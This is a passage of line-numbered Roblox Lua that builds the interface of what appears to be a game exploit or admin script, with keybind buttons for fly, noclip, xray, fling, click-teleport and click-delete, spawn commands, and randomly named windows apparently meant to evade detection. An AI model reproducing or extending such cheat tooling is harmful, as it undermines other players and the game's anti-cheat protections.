  723. Delete_2.Size = UDim2.new(0, 40, 0, 20)
  724. Delete_2.Font = Enum.Font.SourceSans
  725. Delete_2.TextSize = 14
  726. Delete_2.Text = "Delete"
  727. Delete_2.TextColor3 = Color3.new(0, 0, 0)
  728. Delete_2.ZIndex = 10
  729. table.insert(shade3,Delete_2)
  730. table.insert(text2,Delete_2)
  731.  
  732. KeybindEditor.Name = randomString()
  733. KeybindEditor.Parent = PARENT
  734. KeybindEditor.Active = true
  735. KeybindEditor.BackgroundTransparency = 1
  736. KeybindEditor.Position = UDim2.new(0.5, -180, 0, -400)
  737. KeybindEditor.Size = UDim2.new(0, 360, 0, 20)
  738. KeybindEditor.ZIndex = 10
  739.  
  740. background_2.Name = "background"
  741. background_2.Parent = KeybindEditor
  742. background_2.Active = true
  743. background_2.BackgroundColor3 = Color3.fromRGB(36, 36, 37)
  744. background_2.BorderSizePixel = 0
  745. background_2.Position = UDim2.new(0, 0, 0, 20)
  746. background_2.Size = UDim2.new(0, 360, 0, 185)
  747. background_2.ZIndex = 10
  748. table.insert(shade1,background_2)
  749.  
  750. Dark_4.Name = "Dark"
  751. Dark_4.Parent = background_2
  752. Dark_4.Active = true
  753. Dark_4.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  754. Dark_4.BorderSizePixel = 0
  755. Dark_4.Position = UDim2.new(0, 135, 0, 0)
  756. Dark_4.Size = UDim2.new(0, 2, 0, 185)
  757. Dark_4.ZIndex = 10
  758. table.insert(shade2,Dark_4)
  759.  
  760. Directions.Name = "Directions"
  761. Directions.Parent = background_2
  762. Directions.BackgroundTransparency = 1
  763. Directions.BorderSizePixel = 0
  764. Directions.Position = UDim2.new(0, 10, 0, 15)
  765. Directions.Size = UDim2.new(0, 115, 0, 90)
  766. Directions.Font = Enum.Font.SourceSans
  767. Directions.TextSize = 14
  768. Directions.Text = "Click the button below and press a key/mouse button. Then select what you want to bind it to."
  769. Directions.TextColor3 = Color3.new(1, 1, 1)
  770. Directions.TextWrapped = true
  771. Directions.TextYAlignment = Enum.TextYAlignment.Top
  772. Directions.ZIndex = 10
  773. table.insert(text1,Directions)
  774.  
  775. BindTo.Name = "BindTo"
  776. BindTo.Parent = background_2
  777. BindTo.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  778. BindTo.BorderSizePixel = 0
  779. BindTo.Position = UDim2.new(0, 10, 0, 95)
  780. BindTo.Size = UDim2.new(0, 115, 0, 75)
  781. BindTo.Font = Enum.Font.SourceSans
  782. BindTo.TextSize = 16
  783. BindTo.Text = "Click to bind"
  784. BindTo.TextColor3 = Color3.new(1, 1, 1)
  785. BindTo.ZIndex = 10
  786. table.insert(shade2,BindTo)
  787. table.insert(text1,BindTo)
  788.  
  789. Add_2.Name = "Add"
  790. Add_2.Parent = background_2
  791. Add_2.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  792. Add_2.BorderSizePixel = 0
  793. Add_2.Position = UDim2.new(0, 310, 0, 20)
  794. Add_2.Size = UDim2.new(0, 40, 0, 20)
  795. Add_2.Font = Enum.Font.SourceSans
  796. Add_2.TextSize = 14
  797. Add_2.Text = "Add"
  798. Add_2.TextColor3 = Color3.new(1, 1, 1)
  799. Add_2.ZIndex = 10
  800. table.insert(shade2,Add_2)
  801. table.insert(text1,Add_2)
  802.  
  803. Cmdbar_2.Name = "Cmdbar"
  804. Cmdbar_2.Parent = background_2
  805. Cmdbar_2.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  806. Cmdbar_2.BorderSizePixel = 0
  807. Cmdbar_2.Position = UDim2.new(0, 150, 0, 20)
  808. Cmdbar_2.Size = UDim2.new(0, 150, 0, 20)
  809. Cmdbar_2.Font = Enum.Font.SourceSans
  810. Cmdbar_2.TextSize = 14
  811. Cmdbar_2.Text = "Command"
  812. Cmdbar_2.TextColor3 = Color3.new(1, 1, 1)
  813. Cmdbar_2.TextScaled = true
  814. Cmdbar_2.TextWrapped = true
  815. Cmdbar_2.ZIndex = 10
  816. table.insert(shade2,Cmdbar_2)
  817. table.insert(text1,Cmdbar_2)
  818.  
  819. Toggles.Name = "Toggles"
  820. Toggles.Parent = background_2
  821. Toggles.BackgroundTransparency = 1
  822. Toggles.BorderSizePixel = 0
  823. Toggles.Position = UDim2.new(0, 150, 0, 50)
  824. Toggles.Size = UDim2.new(0, 200, 0, 125)
  825. Toggles.ScrollBarImageColor3 = Color3.fromRGB(78,78,79)
  826. Toggles.BottomImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
  827. Toggles.CanvasSize = UDim2.new(0, 0, 0, 195)
  828. Toggles.MidImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
  829. Toggles.ScrollBarThickness = 8
  830. Toggles.TopImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
  831. Toggles.VerticalScrollBarInset = 'Always'
  832. Toggles.ZIndex = 10
  833. table.insert(scroll,Toggles)
  834.  
  835. Fly.Name = "Fly"
  836. Fly.Parent = Toggles
  837. Fly.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  838. Fly.BorderSizePixel = 0
  839. Fly.Size = UDim2.new(0, 192, 0, 20)
  840. Fly.Font = Enum.Font.SourceSans
  841. Fly.TextSize = 14
  842. Fly.Text = " Toggle Fly"
  843. Fly.TextColor3 = Color3.new(1, 1, 1)
  844. Fly.TextXAlignment = Enum.TextXAlignment.Left
  845. Fly.ZIndex = 10
  846. table.insert(shade2,Fly)
  847. table.insert(text1,Fly)
  848.  
  849. Select_3.Name = "Select"
  850. Select_3.Parent = Fly
  851. Select_3.BackgroundColor3 = Color3.fromRGB(78, 78, 79)
  852. Select_3.BorderSizePixel = 0
  853. Select_3.Position = UDim2.new(0, 152, 0, 0)
  854. Select_3.Size = UDim2.new(0, 40, 0, 20)
  855. Select_3.Font = Enum.Font.SourceSans
  856. Select_3.TextSize = 14
  857. Select_3.Text = "Add"
  858. Select_3.TextColor3 = Color3.new(0, 0, 0)
  859. Select_3.ZIndex = 10
  860. table.insert(shade3,Select_3)
  861. table.insert(text2,Select_3)
  862.  
  863. Noclip.Name = "Noclip"
  864. Noclip.Parent = Toggles
  865. Noclip.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  866. Noclip.BorderSizePixel = 0
  867. Noclip.Position = UDim2.new(0, 0, 0, 25)
  868. Noclip.Size = UDim2.new(0, 192, 0, 20)
  869. Noclip.Font = Enum.Font.SourceSans
  870. Noclip.TextSize = 14
  871. Noclip.Text = " Toggle Noclip"
  872. Noclip.TextColor3 = Color3.new(1, 1, 1)
  873. Noclip.TextXAlignment = Enum.TextXAlignment.Left
  874. Noclip.ZIndex = 10
  875. table.insert(shade2,Noclip)
  876. table.insert(text1,Noclip)
  877.  
  878. Select_4.Name = "Select"
  879. Select_4.Parent = Noclip
  880. Select_4.BackgroundColor3 = Color3.fromRGB(78, 78, 79)
  881. Select_4.BorderSizePixel = 0
  882. Select_4.Position = UDim2.new(0, 152, 0, 0)
  883. Select_4.Size = UDim2.new(0, 40, 0, 20)
  884. Select_4.Font = Enum.Font.SourceSans
  885. Select_4.TextSize = 14
  886. Select_4.Text = "Add"
  887. Select_4.TextColor3 = Color3.new(0, 0, 0)
  888. Select_4.ZIndex = 10
  889. table.insert(shade3,Select_4)
  890. table.insert(text2,Select_4)
  891.  
  892. Float.Name = "Float"
  893. Float.Parent = Toggles
  894. Float.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  895. Float.BorderSizePixel = 0
  896. Float.Position = UDim2.new(0, 0, 0, 50)
  897. Float.Size = UDim2.new(0, 192, 0, 20)
  898. Float.Font = Enum.Font.SourceSans
  899. Float.TextSize = 14
  900. Float.Text = " Toggle Float"
  901. Float.TextColor3 = Color3.new(1, 1, 1)
  902. Float.TextXAlignment = Enum.TextXAlignment.Left
  903. Float.ZIndex = 10
  904. table.insert(shade2,Float)
  905. table.insert(text1,Float)
  906.  
  907. Select_5.Name = "Select"
  908. Select_5.Parent = Float
  909. Select_5.BackgroundColor3 = Color3.fromRGB(78, 78, 79)
  910. Select_5.BorderSizePixel = 0
  911. Select_5.Position = UDim2.new(0, 152, 0, 0)
  912. Select_5.Size = UDim2.new(0, 40, 0, 20)
  913. Select_5.Font = Enum.Font.SourceSans
  914. Select_5.TextSize = 14
  915. Select_5.Text = "Add"
  916. Select_5.TextColor3 = Color3.new(0, 0, 0)
  917. Select_5.ZIndex = 10
  918. table.insert(shade3,Select_5)
  919. table.insert(text2,Select_5)
  920.  
  921. ClickTP.Name = "Click TP"
  922. ClickTP.Parent = Toggles
  923. ClickTP.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  924. ClickTP.BorderSizePixel = 0
  925. ClickTP.Position = UDim2.new(0, 0, 0, 75)
  926. ClickTP.Size = UDim2.new(0, 192, 0, 20)
  927. ClickTP.Font = Enum.Font.SourceSans
  928. ClickTP.TextSize = 14
  929. ClickTP.Text = " Click TP (Hold Key & Click)"
  930. ClickTP.TextColor3 = Color3.new(1, 1, 1)
  931. ClickTP.TextXAlignment = Enum.TextXAlignment.Left
  932. ClickTP.ZIndex = 10
  933. table.insert(shade2,ClickTP)
  934. table.insert(text1,ClickTP)
  935.  
  936. Select_6.Name = "Select"
  937. Select_6.Parent = ClickTP
  938. Select_6.BackgroundColor3 = Color3.fromRGB(78, 78, 79)
  939. Select_6.BorderSizePixel = 0
  940. Select_6.Position = UDim2.new(0, 152, 0, 0)
  941. Select_6.Size = UDim2.new(0, 40, 0, 20)
  942. Select_6.Font = Enum.Font.SourceSans
  943. Select_6.TextSize = 14
  944. Select_6.Text = "Add"
  945. Select_6.TextColor3 = Color3.new(0, 0, 0)
  946. Select_6.ZIndex = 10
  947. table.insert(shade3,Select_6)
  948. table.insert(text2,Select_6)
  949.  
  950. ClickDelete.Name = "Click Delete"
  951. ClickDelete.Parent = Toggles
  952. ClickDelete.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  953. ClickDelete.BorderSizePixel = 0
  954. ClickDelete.Position = UDim2.new(0, 0, 0, 100)
  955. ClickDelete.Size = UDim2.new(0, 192, 0, 20)
  956. ClickDelete.Font = Enum.Font.SourceSans
  957. ClickDelete.TextSize = 14
  958. ClickDelete.Text = " Click Delete (Hold Key & Click)"
  959. ClickDelete.TextColor3 = Color3.new(1, 1, 1)
  960. ClickDelete.TextXAlignment = Enum.TextXAlignment.Left
  961. ClickDelete.ZIndex = 10
  962. table.insert(shade2,ClickDelete)
  963. table.insert(text1,ClickDelete)
  964.  
  965. Select_13.Name = "Select"
  966. Select_13.Parent = ClickDelete
  967. Select_13.BackgroundColor3 = Color3.fromRGB(78, 78, 79)
  968. Select_13.BorderSizePixel = 0
  969. Select_13.Position = UDim2.new(0, 152, 0, 0)
  970. Select_13.Size = UDim2.new(0, 40, 0, 20)
  971. Select_13.Font = Enum.Font.SourceSans
  972. Select_13.TextSize = 14
  973. Select_13.Text = "Add"
  974. Select_13.TextColor3 = Color3.new(0, 0, 0)
  975. Select_13.ZIndex = 10
  976. table.insert(shade3,Select_13)
  977. table.insert(text2,Select_13)
  978.  
  979. Xray.Name = "Xray"
  980. Xray.Parent = Toggles
  981. Xray.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  982. Xray.BorderSizePixel = 0
  983. Xray.Position = UDim2.new(0, 0, 0, 125)
  984. Xray.Size = UDim2.new(0, 192, 0, 20)
  985. Xray.Font = Enum.Font.SourceSans
  986. Xray.TextSize = 14
  987. Xray.Text = " Toggle Xray"
  988. Xray.TextColor3 = Color3.new(1, 1, 1)
  989. Xray.TextXAlignment = Enum.TextXAlignment.Left
  990. Xray.ZIndex = 10
  991. table.insert(shade2,Xray)
  992. table.insert(text1,Xray)
  993.  
  994. Select_10.Name = "Select"
  995. Select_10.Parent = Xray
  996. Select_10.BackgroundColor3 = Color3.fromRGB(78, 78, 79)
  997. Select_10.BorderSizePixel = 0
  998. Select_10.Position = UDim2.new(0, 152, 0, 0)
  999. Select_10.Size = UDim2.new(0, 40, 0, 20)
  1000. Select_10.Font = Enum.Font.SourceSans
  1001. Select_10.TextSize = 14
  1002. Select_10.Text = "Add"
  1003. Select_10.TextColor3 = Color3.new(0, 0, 0)
  1004. Select_10.ZIndex = 10
  1005. table.insert(shade3,Select_10)
  1006. table.insert(text2,Select_10)
  1007.  
  1008. Swim.Name = "Swim"
  1009. Swim.Parent = Toggles
  1010. Swim.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1011. Swim.BorderSizePixel = 0
  1012. Swim.Position = UDim2.new(0, 0, 0, 150)
  1013. Swim.Size = UDim2.new(0, 192, 0, 20)
  1014. Swim.Font = Enum.Font.SourceSans
  1015. Swim.TextSize = 14
  1016. Swim.Text = " Toggle Swim"
  1017. Swim.TextColor3 = Color3.new(1, 1, 1)
  1018. Swim.TextXAlignment = Enum.TextXAlignment.Left
  1019. Swim.ZIndex = 10
  1020. table.insert(shade2,Swim)
  1021. table.insert(text1,Swim)
  1022.  
  1023. Select_11.Name = "Select"
  1024. Select_11.Parent = Swim
  1025. Select_11.BackgroundColor3 = Color3.fromRGB(78, 78, 79)
  1026. Select_11.BorderSizePixel = 0
  1027. Select_11.Position = UDim2.new(0, 152, 0, 0)
  1028. Select_11.Size = UDim2.new(0, 40, 0, 20)
  1029. Select_11.Font = Enum.Font.SourceSans
  1030. Select_11.TextSize = 14
  1031. Select_11.Text = "Add"
  1032. Select_11.TextColor3 = Color3.new(0, 0, 0)
  1033. Select_11.ZIndex = 10
  1034. table.insert(shade3,Select_11)
  1035. table.insert(text2,Select_11)
  1036.  
  1037. Fling.Name = "Fling"
  1038. Fling.Parent = Toggles
  1039. Fling.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1040. Fling.BorderSizePixel = 0
  1041. Fling.Position = UDim2.new(0, 0, 0, 175)
  1042. Fling.Size = UDim2.new(0, 192, 0, 20)
  1043. Fling.Font = Enum.Font.SourceSans
  1044. Fling.TextSize = 14
  1045. Fling.Text = " Toggle Fling"
  1046. Fling.TextColor3 = Color3.new(1, 1, 1)
  1047. Fling.TextXAlignment = Enum.TextXAlignment.Left
  1048. Fling.ZIndex = 10
  1049. table.insert(shade2,Fling)
  1050. table.insert(text1,Fling)
  1051.  
  1052. Select_12.Name = "Select"
  1053. Select_12.Parent = Fling
  1054. Select_12.BackgroundColor3 = Color3.fromRGB(78, 78, 79)
  1055. Select_12.BorderSizePixel = 0
  1056. Select_12.Position = UDim2.new(0, 152, 0, 0)
  1057. Select_12.Size = UDim2.new(0, 40, 0, 20)
  1058. Select_12.Font = Enum.Font.SourceSans
  1059. Select_12.TextSize = 14
  1060. Select_12.Text = "Add"
  1061. Select_12.TextColor3 = Color3.new(0, 0, 0)
  1062. Select_12.ZIndex = 10
  1063. table.insert(shade3,Select_12)
  1064. table.insert(text2,Select_12)
  1065.  
  1066. shadow_2.Name = "shadow"
  1067. shadow_2.Parent = KeybindEditor
  1068. shadow_2.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1069. shadow_2.BorderSizePixel = 0
  1070. shadow_2.Size = UDim2.new(0, 360, 0, 20)
  1071. shadow_2.ZIndex = 10
  1072. table.insert(shade2,shadow_2)
  1073.  
  1074. PopupText_2.Name = "PopupText"
  1075. PopupText_2.Parent = shadow_2
  1076. PopupText_2.BackgroundTransparency = 1
  1077. PopupText_2.Position = UDim2.new(0, 51, 0, 0)
  1078. PopupText_2.Size = UDim2.new(0.76, -16, 0.95, 0)
  1079. PopupText_2.ZIndex = 10
  1080. PopupText_2.Font = Enum.Font.SourceSans
  1081. PopupText_2.TextSize = 14
  1082. PopupText_2.Text = "Set Keybinds"
  1083. PopupText_2.TextColor3 = Color3.new(1, 1, 1)
  1084. PopupText_2.TextWrapped = true
  1085. table.insert(text1,PopupText_2)
  1086.  
  1087. Exit_2.Name = "Exit"
  1088. Exit_2.Parent = shadow_2
  1089. Exit_2.BackgroundTransparency = 1
  1090. Exit_2.Size = UDim2.new(0, 20, 0, 20)
  1091. Exit_2.ZIndex = 10
  1092. Exit_2.Image = "rbxassetid://2132544126"
  1093.  
  1094. SpawnCFrame.Name = "SpawnCFrame"
  1095. SpawnCFrame.Parent = Settings
  1096. SpawnCFrame.Active = true
  1097. SpawnCFrame.BackgroundColor3 = Color3.fromRGB(36, 36, 37)
  1098. SpawnCFrame.BorderSizePixel = 0
  1099. SpawnCFrame.Position = UDim2.new(0, 0, 0, 175)
  1100. SpawnCFrame.Size = UDim2.new(0, 250, 0, 175)
  1101. SpawnCFrame.ZIndex = 10
  1102. table.insert(shade1,SpawnCFrame)
  1103.  
  1104. Holder_6.Name = "Holder"
  1105. Holder_6.Parent = SpawnCFrame
  1106. Holder_6.BackgroundTransparency = 1
  1107. Holder_6.BorderSizePixel = 0
  1108. Holder_6.Position = UDim2.new(0, 0, 0, 0)
  1109. Holder_6.Selectable = false
  1110. Holder_6.Size = UDim2.new(0, 250, 0, 145)
  1111. Holder_6.ScrollBarImageColor3 = Color3.fromRGB(78,78,79)
  1112. Holder_6.BottomImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
  1113. Holder_6.CanvasSize = UDim2.new(0, 0, 0, 0)
  1114. Holder_6.MidImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
  1115. Holder_6.ScrollBarThickness = 0
  1116. Holder_6.TopImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
  1117. Holder_6.VerticalScrollBarInset = 'Always'
  1118. Holder_6.ZIndex = 10
  1119.  
  1120. Close_5.Name = "Close"
  1121. Close_5.Parent = SpawnCFrame
  1122. Close_5.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1123. Close_5.BorderSizePixel = 0
  1124. Close_5.Position = UDim2.new(0, 205, 0, 150)
  1125. Close_5.Size = UDim2.new(0, 40, 0, 20)
  1126. Close_5.Font = Enum.Font.SourceSans
  1127. Close_5.TextSize = 14
  1128. Close_5.Text = "Close"
  1129. Close_5.TextColor3 = Color3.new(1, 1, 1)
  1130. Close_5.ZIndex = 10
  1131. table.insert(shade2,Close_5)
  1132. table.insert(text1,Close_5)
  1133.  
  1134. Add_4.Name = "Add"
  1135. Add_4.Parent = SpawnCFrame
  1136. Add_4.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1137. Add_4.BorderSizePixel = 0
  1138. Add_4.Position = UDim2.new(0, 5, 0, 150)
  1139. Add_4.Size = UDim2.new(0, 40, 0, 20)
  1140. Add_4.Font = Enum.Font.SourceSans
  1141. Add_4.TextSize = 14
  1142. Add_4.Text = "Add"
  1143. Add_4.TextColor3 = Color3.new(1, 1, 1)
  1144. Add_4.ZIndex = 10
  1145. table.insert(shade2,Add_4)
  1146. table.insert(text1,Add_4)
  1147.  
  1148. Delete_8.Name = "Delete"
  1149. Delete_8.Parent = SpawnCFrame
  1150. Delete_8.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1151. Delete_8.BorderSizePixel = 0
  1152. Delete_8.Position = UDim2.new(0, 50, 0, 150)
  1153. Delete_8.Size = UDim2.new(0, 40, 0, 20)
  1154. Delete_8.Font = Enum.Font.SourceSans
  1155. Delete_8.TextSize = 14
  1156. Delete_8.Text = "Clear"
  1157. Delete_8.TextColor3 = Color3.new(1, 1, 1)
  1158. Delete_8.ZIndex = 10
  1159. table.insert(shade2,Delete_8)
  1160. table.insert(text1,Delete_8)
  1161.  
  1162. SpawnCEditor.Name = randomString()
  1163. SpawnCEditor.Parent = PARENT
  1164. SpawnCEditor.Active = true
  1165. SpawnCEditor.BackgroundTransparency = 1
  1166. SpawnCEditor.Position = UDim2.new(0.5, -180, 0, -400)
  1167. SpawnCEditor.Size = UDim2.new(0, 360, 0, 20)
  1168. SpawnCEditor.ZIndex = 10
  1169.  
  1170. background_4.Name = "background"
  1171. background_4.Parent = SpawnCEditor
  1172. background_4.Active = true
  1173. background_4.BackgroundColor3 = Color3.fromRGB(36, 36, 37)
  1174. background_4.BorderSizePixel = 0
  1175. background_4.Position = UDim2.new(0, 0, 0, 20)
  1176. background_4.Size = UDim2.new(0, 360, 0, 75)
  1177. background_4.ZIndex = 10
  1178. table.insert(shade1,background_4)
  1179.  
  1180. Cmdbar_3.Name = "Cmdbar"
  1181. Cmdbar_3.Parent = background_4
  1182. Cmdbar_3.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1183. Cmdbar_3.BorderSizePixel = 0
  1184. Cmdbar_3.Position = UDim2.new(0, 150, 0, 45)
  1185. Cmdbar_3.Size = UDim2.new(0, 150, 0, 20)
  1186. Cmdbar_3.Font = Enum.Font.SourceSans
  1187. Cmdbar_3.TextSize = 16
  1188. Cmdbar_3.Text = "Command"
  1189. Cmdbar_3.TextColor3 = Color3.new(1, 1, 1)
  1190. Cmdbar_3.TextScaled = true
  1191. Cmdbar_3.TextWrapped = true
  1192. Cmdbar_3.ZIndex = 10
  1193. table.insert(shade2,Cmdbar_3)
  1194. table.insert(text1,Cmdbar_3)
  1195.  
  1196. Add_5.Name = "Add"
  1197. Add_5.Parent = background_4
  1198. Add_5.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1199. Add_5.BorderSizePixel = 0
  1200. Add_5.Position = UDim2.new(0, 310, 0, 45)
  1201. Add_5.Size = UDim2.new(0, 40, 0, 20)
  1202. Add_5.Font = Enum.Font.SourceSans
  1203. Add_5.TextSize = 14
  1204. Add_5.Text = "Add"
  1205. Add_5.TextColor3 = Color3.new(1, 1, 1)
  1206. Add_5.ZIndex = 10
  1207. table.insert(shade2,Add_5)
  1208. table.insert(text1,Add_5)
  1209.  
  1210. DelayNum.Name = "DelayNum"
  1211. DelayNum.Parent = background_4
  1212. DelayNum.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1213. DelayNum.BorderSizePixel = 0
  1214. DelayNum.Position = UDim2.new(0, 310, 0, 15)
  1215. DelayNum.Size = UDim2.new(0, 40, 0, 20)
  1216. DelayNum.Font = Enum.Font.SourceSans
  1217. DelayNum.TextSize = 14
  1218. DelayNum.Text = "0"
  1219. DelayNum.TextColor3 = Color3.new(1, 1, 1)
  1220. DelayNum.TextScaled = true
  1221. DelayNum.TextWrapped = true
  1222. DelayNum.ZIndex = 10
  1223. table.insert(shade2,DelayNum)
  1224. table.insert(text1,DelayNum)
  1225.  
  1226. DelayT.Name = "Delay"
  1227. DelayT.Parent = background_4
  1228. DelayT.BackgroundTransparency = 1
  1229. DelayT.BorderSizePixel = 0
  1230. DelayT.Position = UDim2.new(0, 150, 0, 15)
  1231. DelayT.Size = UDim2.new(0, 150, 0, 20)
  1232. DelayT.Font = Enum.Font.SourceSans
  1233. DelayT.TextSize = 14
  1234. DelayT.Text = "Delay (seconds) (0 for none)"
  1235. DelayT.TextColor3 = Color3.new(1, 1, 1)
  1236. DelayT.TextWrapped = true
  1237. DelayT.ZIndex = 10
  1238. table.insert(text1,DelayT)
  1239.  
  1240. Directions_3.Name = "Directions"
  1241. Directions_3.Parent = background_4
  1242. Directions_3.BackgroundTransparency = 1
  1243. Directions_3.BorderSizePixel = 0
  1244. Directions_3.Position = UDim2.new(0, 20, 0, 10)
  1245. Directions_3.Size = UDim2.new(0, 98, 0, 60)
  1246. Directions_3.Font = Enum.Font.SourceSans
  1247. Directions_3.TextSize = 14
  1248. Directions_3.Text = "Spawn commands automatically get executed when you spawn."
  1249. Directions_3.TextColor3 = Color3.new(1, 1, 1)
  1250. Directions_3.TextWrapped = true
  1251. Directions_3.TextYAlignment = Enum.TextYAlignment.Top
  1252. Directions_3.ZIndex = 10
  1253. table.insert(text1,Directions_3)
  1254.  
  1255. Dark_11.Name = "Dark"
  1256. Dark_11.Parent = background_4
  1257. Dark_11.Active = true
  1258. Dark_11.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1259. Dark_11.BorderSizePixel = 0
  1260. Dark_11.Position = UDim2.new(0.378, 0, 0, 0)
  1261. Dark_11.Size = UDim2.new(0, 2, 0, 75)
  1262. Dark_11.ZIndex = 10
  1263. table.insert(shade2,Dark_11)
  1264.  
  1265. shadow_4.Name = "shadow"
  1266. shadow_4.Parent = SpawnCEditor
  1267. shadow_4.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1268. shadow_4.BorderSizePixel = 0
  1269. shadow_4.Size = UDim2.new(0, 360, 0, 20)
  1270. shadow_4.ZIndex = 10
  1271. table.insert(shade2,shadow_4)
  1272.  
  1273. PopupText_4.Name = "PopupText"
  1274. PopupText_4.Parent = shadow_4
  1275. PopupText_4.BackgroundTransparency = 1
  1276. PopupText_4.Position = UDim2.new(0, 51, 0, 0)
  1277. PopupText_4.Size = UDim2.new(0.760355055, -16, 0.949999988, 0)
  1278. PopupText_4.ZIndex = 10
  1279. PopupText_4.Font = Enum.Font.SourceSans
  1280. PopupText_4.TextSize = 14
  1281. PopupText_4.Text = "Set Spawn Commands"
  1282. PopupText_4.TextColor3 = Color3.new(1, 1, 1)
  1283. PopupText_4.TextWrapped = true
  1284. table.insert(text1,PopupText_4)
  1285.  
  1286. Exit_4.Name = "Exit"
  1287. Exit_4.Parent = shadow_4
  1288. Exit_4.BackgroundTransparency = 1
  1289. Exit_4.Size = UDim2.new(0, 20, 0, 20)
  1290. Exit_4.ZIndex = 10
  1291. Exit_4.Image = "rbxassetid://2132544126"
  1292.  
  1293. PositionsFrame.Name = "PositionsFrame"
  1294. PositionsFrame.Parent = Settings
  1295. PositionsFrame.Active = true
  1296. PositionsFrame.BackgroundColor3 = Color3.fromRGB(36, 36, 37)
  1297. PositionsFrame.BorderSizePixel = 0
  1298. PositionsFrame.Size = UDim2.new(0, 250, 0, 175)
  1299. PositionsFrame.Position = UDim2.new(0, 0, 0, 175)
  1300. PositionsFrame.ZIndex = 10
  1301. table.insert(shade1,PositionsFrame)
  1302.  
  1303. Close_3.Name = "Close"
  1304. Close_3.Parent = PositionsFrame
  1305. Close_3.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1306. Close_3.BorderSizePixel = 0
  1307. Close_3.Position = UDim2.new(0, 205, 0, 150)
  1308. Close_3.Size = UDim2.new(0, 40, 0, 20)
  1309. Close_3.Font = Enum.Font.SourceSans
  1310. Close_3.TextSize = 14
  1311. Close_3.Text = "Close"
  1312. Close_3.TextColor3 = Color3.new(1, 1, 1)
  1313. Close_3.ZIndex = 10
  1314. table.insert(shade2,Close_3)
  1315. table.insert(text1,Close_3)
  1316.  
  1317. Delete_5.Name = "Delete"
  1318. Delete_5.Parent = PositionsFrame
  1319. Delete_5.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1320. Delete_5.BorderSizePixel = 0
  1321. Delete_5.Position = UDim2.new(0, 50, 0, 150)
  1322. Delete_5.Size = UDim2.new(0, 40, 0, 20)
  1323. Delete_5.Font = Enum.Font.SourceSans
  1324. Delete_5.TextSize = 14
  1325. Delete_5.Text = "Clear"
  1326. Delete_5.TextColor3 = Color3.new(1, 1, 1)
  1327. Delete_5.ZIndex = 10
  1328. table.insert(shade2,Delete_5)
  1329. table.insert(text1,Delete_5)
  1330.  
  1331. Part.Name = "PartGoto"
  1332. Part.Parent = PositionsFrame
  1333. Part.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1334. Part.BorderSizePixel = 0
  1335. Part.Position = UDim2.new(0, 5, 0, 150)
  1336. Part.Size = UDim2.new(0, 40, 0, 20)
  1337. Part.Font = Enum.Font.SourceSans
  1338. Part.TextSize = 14
  1339. Part.Text = "Part"
  1340. Part.TextColor3 = Color3.new(1, 1, 1)
  1341. Part.ZIndex = 10
  1342. table.insert(shade2,Part)
  1343. table.insert(text1,Part)
  1344.  
  1345. Holder_4.Name = "Holder"
  1346. Holder_4.Parent = PositionsFrame
  1347. Holder_4.BackgroundTransparency = 1
  1348. Holder_4.BorderSizePixel = 0
  1349. Holder_4.Position = UDim2.new(0, 0, 0, 0)
  1350. Holder_4.Selectable = false
  1351. Holder_4.Size = UDim2.new(0, 250, 0, 145)
  1352. Holder_4.ScrollBarImageColor3 = Color3.fromRGB(78,78,79)
  1353. Holder_4.BottomImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
  1354. Holder_4.CanvasSize = UDim2.new(0, 0, 0, 0)
  1355. Holder_4.MidImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
  1356. Holder_4.ScrollBarThickness = 0
  1357. Holder_4.TopImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
  1358. Holder_4.VerticalScrollBarInset = 'Always'
  1359. Holder_4.ZIndex = 10
  1360.  
  1361. Example_4.Name = "Example"
  1362. Example_4.Parent = PositionsFrame
  1363. Example_4.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1364. Example_4.BorderSizePixel = 0
  1365. Example_4.Size = UDim2.new(0, 10, 0, 20)
  1366. Example_4.Visible = false
  1367. Example_4.Position = UDim2.new(0, 0, 0, -5)
  1368. Example_4.ZIndex = 10
  1369. table.insert(shade2,Example_4)
  1370.  
  1371. Text_5.Name = "Text"
  1372. Text_5.Parent = Example_4
  1373. Text_5.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  1374. Text_5.BorderSizePixel = 0
  1375. Text_5.Position = UDim2.new(0, 10, 0, 0)
  1376. Text_5.Size = UDim2.new(0, 240, 0, 20)
  1377. Text_5.Font = Enum.Font.SourceSans
  1378. Text_5.TextSize = 14
  1379. Text_5.Text = "Position"
  1380. Text_5.TextColor3 = Color3.new(1, 1, 1)
  1381. Text_5.TextXAlignment = Enum.TextXAlignment.Left
  1382. Text_5.ZIndex = 10
  1383. table.insert(shade2,Text_5)
  1384. table.insert(text1,Text_5)
  1385.  
  1386. Delete_6.Name = "Delete"
  1387. Delete_6.Parent = Text_5
  1388. Delete_6.BackgroundColor3 = Color3.fromRGB(78, 78, 79)
  1389. Delete_6.BorderSizePixel = 0
